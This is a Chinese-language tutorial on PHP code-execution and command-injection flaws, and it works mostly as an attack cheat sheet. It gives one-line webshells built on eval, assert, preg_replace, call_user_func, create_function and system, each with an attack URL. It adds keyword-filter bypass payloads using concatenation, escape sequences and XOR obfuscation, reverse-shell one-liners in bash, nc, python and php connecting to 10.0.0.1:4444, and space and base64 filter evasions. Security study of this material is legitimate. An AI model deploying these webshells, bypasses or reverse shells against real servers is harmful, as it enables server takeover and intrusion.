一、概述
代码执行漏洞是指应用程序将用户可控的输入内容当作脚本代码直接执行,从而导致攻击者可在目标系统上任意执行代码。若应用程序运行在高权限环境下(如 root 或 administrator),攻击者甚至可完全接管服务器,危害极大。
二、漏洞原理
1. 代码执行漏洞
当 Web 应用使用了可将字符串动态解析并执行为代码的函数(例如 PHP 中的 eval()、assert() 等),且未对用户输入进行严格过滤或验证,使得攻击者能够控制传入的字符串内容时,就会触发代码执行漏洞。
- 典型函数(PHP):
eval()、assert()、create_function()(已废弃)、preg_replace()(/e 修饰符,旧版本)等。 - 特点:此类漏洞通常难以通过黑盒测试发现,多数需结合源代码审计进行识别。
2. 命令执行漏洞
当 Web 应用调用系统命令执行函数(如 PHP 中的 system()、exec()、shell_exec()、passthru()、popen()、proc_open() 等),并将用户输入直接拼接到命令参数中,而未做安全处理时,攻击者可通过构造恶意输入注入额外的系统命令,实现任意命令执行。
- 本质:属于“命令注入”(Command Injection)。
- 风险:可读写文件、反弹 Shell、内网渗透等,危害程度高。
注意:代码执行(Code Execution)与命令执行(Command Execution)虽常被混用,但技术层面有所区别:
- 代码执行:执行的是应用层解释型语言的代码(如 PHP、Python 脚本);
- 命令执行:执行的是操作系统级别的 shell 命令(如 Linux 的
ls、cat,Windows 的dir、whoami)。
三、代码执行
1.php代码
部分函数在php7以上不支持,请按实际情况使用
eval()函数
原理:将字符串作为 PHP 代码执行。
将下面代码保存为php文件,放置在网站根目录下,例如eval.php:
<?php eval($_GET['x']); ?>
然后构造如下url进行攻击:
http://域名/eval.php?x=phpinfo();
可以看到如下页面:
要注意,eval()属于结构体,不属于函数,所以在构造回调函数的后门时,eval()无法作为执行代码的函数使用,可用assert()替代。
assert()
将下面代码保存为php文件,放置在网站根目录下,例如assert.php:
<?php assert($_GET['a']); ?>
然后构造如下url进行攻击:
http://域名/assert.php?a=phpinfo();
可以看到和之前类似的界面
函数定义的不同: PHP 5:若参数为字符串,直接作为代码执行。
bool assert ( mixed $assertion [, string $description ] )PHP 7:行为有所改变,但在特定配置或旧版本中仍可利用。
bool assert ( mixed $assertion [, Throwable $exception ] )assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。可作为回调函数使用(弥补
eval的不足)。
preg_replace()
原理:使用 /e 修饰符时,替换内容会被当作 PHP 代码执行。但该修饰符在 PHP 5.5.0 中被废弃,PHP 7.0.0 中移除。仅适用于旧版本环境。
函数原型:
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
将下面代码保存为php文件,放置在网站根目录下,例如preg_replace.php:
<?php preg_replace("/moon/e",$_GET['a'],"I love moon"); ?>
然后构造如下url进行攻击:
http://域名/preg_replace.php?a=phpinfo();
可以看到和之前类似的界面
当使用正则匹配的时候,如果使用了弃用的/e模式,将会造成代码执行漏洞。/e修正符使preg_replace将replacement 参数当做 PHP 代码。并且正则表达式需要匹配成功,才能执行。
call_user_func()
原理:动态调用回调函数。若用户可控回调函数名及参数,可间接执行代码。
函数原型:
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
将下面代码保存为php文件,放置在网站根目录下,例如call_user_func.php:
<? php call_user_func($_GET['a'], $_GET['b']);?>
然后构造如下url进行攻击:
http://域名/call_user_func.php?a=assert&b=phpinfo()
可以看到和之前类似的界面
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。
call_user_func_array()
原理:动态调用回调函数。若用户可控回调函数名及参数,可间接执行代码。
函数原型:
mixed call_user_func_array(callable $callback , array $param_arr)
将下面代码保存为php文件,放置在网站根目录下,例如call_user_func_array.php:
<?php call_user_func_array($_GET['a'], $_GET['b']);?>
然后构造如下url进行攻击:
http://域名/call_user_func_array.php?a=assert&b[]=phpinfo()
可以看到和之前类似的界面
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
create_function()
原理:内部实现依赖 eval,存在同样的注入风险。但已在 PHP 7.2.0 中废弃,PHP 8.0.0 中移除。
函数原型:
string create_function(string $args , string $code)
将下面代码保存为php文件,放置在网站根目录下,例如create_function.php:
<?php
$a = $_GET['a'];
$b = create_function('$a',"echo $a");
$b('');?>
然后构造如下url进行攻击:
http://域名/create_function.php?a=eval($_GET['b']);&b=echo '1’;
可以看到和之前类似的界面
该函数的内部实现用到了eval,所以也具有相同的安全问题。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。
四、命令执行
常用函数:
system('ls') //执行外部程序,并且显示输出
exec('ls') //执行一个外部程序
passthru('ls') //执行外部程序并且显示原始输出
shell_exec('ls') //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
例如:
将下面代码保存为php文件,放置在网站根目录下,例如system.php:
<?php system($_GET['pass']);?>
然后构造如下url进行攻击:
http://域名/system.php?pass=whoami
可以看到如下界面:
五、php防御绕过
拼接
字符串拼接绕过适用于绕过过滤具体关键字的限制,适用PHP版本: PHP>=7
Payload:
(p.h.p.i.n.f.o)();== phpinfo();
(sy.(st).em)(whoami) == system(”whoami”);
(sy.(st).em)(who.ami) == system(”whoami”);
(s.y.s.t.e.m)("whoami") == system(”whoami”);
例如将如下内容保存到hack.php:
<? php
highlight_file(__FILE__):
//字符串拼接绕过适用于绕过过滤具体关键字的限制
//适用 PHP版本:PHP>=7
error_reporting(0):
$cmd = $_GET['cmd'];
if (isset($cmd)) {
if (preg_match('/phpinfo| system/i', $cmd)) {
die('No Hack!');
} else {
eval($cmd);
}
} else {
echo "Welcome!";
} ?>
然后构造如下url进行攻击:
http://域名/hack.php?cmd=(sy.(st).em)(who.ami);
转义
字符串拼接绕过适用于绕过过滤具体关键字的限制,适用PHP版本: PHP>=7
例如:
"\x70\x68\x70\x69\x6e\x66\x6f"(); #phpinfo();
"\163\171\163\164\145\155" ('whoami'); #system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id'); #system(id');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
例如将前例的url改成:
http://域名/hack.php?cmd="\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"(%27whoami%27);
也可以达到同样的效果。
多次传参
例如将前例的url改成:
http://域名/hack.php?cmd=$_GET[1]($_GET[2]);&1=system&2=whoami
也可以达到同样的效果。
即如果过滤了引号(单引号/双引号),可以通过该方法绕过
内置函数
适用PHP版本:测试 PHP>=7 可以成功,PHP5 不能肯定能不能使用
get_defined_functions() :返回所有已定义函数的数组,利用这种方法首先还需要知道 PHP 的具体版本,因为每个版本的get_defined_functions() 返回的值都是不⼀样的这里以 PHP 7.0.33 为例
例如将前例的url改成:
http://域名/hack.php?cmd=get_defined_functions()[internal][1072](whoami);
也可以达到同样的效果。
异或
适用PHP版本:无限制
在PHP中两个字符串异或之后,得到的还是⼀个字符串。
例如:我们异或 ?(ASCII码:63 ⼆进制:0011 1111)和 ~ (ASCII码:126 ⼆进制: 0111 1110) 之后得到的是 A(0100 0001)
利用这些字符进行异或可以得到我们想要的字符,在取ASCII表中非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号
例如我们的原始url是:
http://域名/hack.php?cmd=$_=assert;$__=_GET;$___=$$__;$_($___[_]);&_=phpinfo();
转换后的url变成:
http://域名/hack.php?cmd=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();
也可以达到同样的效果。
六、shell的远程控制
1.反弹shell
原理:通过nc将远程shell反弹到本地
步骤:
- 在本地终端使用如下命令开启反弹shell的端口监听:
nc -lvvp 4444
- 选择下面一种方式开启反弹:
bash:
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# 或者
nc -e /bin/bash 10.0.0.1 4444
python:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
php:
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i &3 2>&3");'
或者使用代码注入:
<?php
system("nc -e /bin/bash 10.0.0.1 4444");
?>
- 使用如下命令开启交互式终端:
python -c "import pty; pty.spawn('/bin/bash');"
2. 空格过滤绕过
-
${IFS} :
IFS是 Shell 的“内部字段分隔符”,默认为 空格、制表符、换行符,${IFS}可以展开为空格字符 -
$IFSIFS9 是一种常见的变体,利用了 \9 表示第九个位置参数(通常为空),实际上它会把
\$IFS和\$9连接起来,形成一个空格 -
<:Shell 支持使用重定向符号代替空格
-
<>:Shell 支持使用重定向符号代替空格
-
{cat,flag.php} :用逗号实现了空格功能,需要用{}括起来
-
%20 :虽然
%20是空格的 URL 编码,在某些情况下会被解码还原为空格 -
%09 :在 URL 编码中,
%09表示 Tab 键,可以用来代替空格 -
X=$’cat\x09./flag.php’;$X //(\x09表示tab,也可以用\x20)
3. base64绕过
echo d2hvYW1p | base64 -d | sh
得到结果:
root
d2hvYW1p是whoami的base64编码
4. 常用符号
| 连接符 | 名称 | 执行逻辑 | 典型用途示例 |
|---|---|---|---|
& | 后台并行执行 | 先启动 cmd1 并放入后台运行,立即执行 cmd2(不等待 cmd1 结束) | sleep 10 & echo "running" |
&& | 逻辑与(AND) | 仅当 cmd1 成功(退出码为 0)时,才执行 cmd2 | mkdir dir && cd dir |
|| | 逻辑或(OR) | 仅当 cmd1 失败(退出码非 0)时,才执行 cmd2 | ping -c1 host || echo "down" |
| | 管道(Pipe) | 将 cmd1 的标准输出(stdout)作为 cmd2 的标准输入(stdin) | ls -l | grep ".txt" |
; | 顺序执行(分号) | 无论 cmd1 成功与否,都按顺序执行 cmd2(等 cmd1 结束后再执行) | echo "start"; date |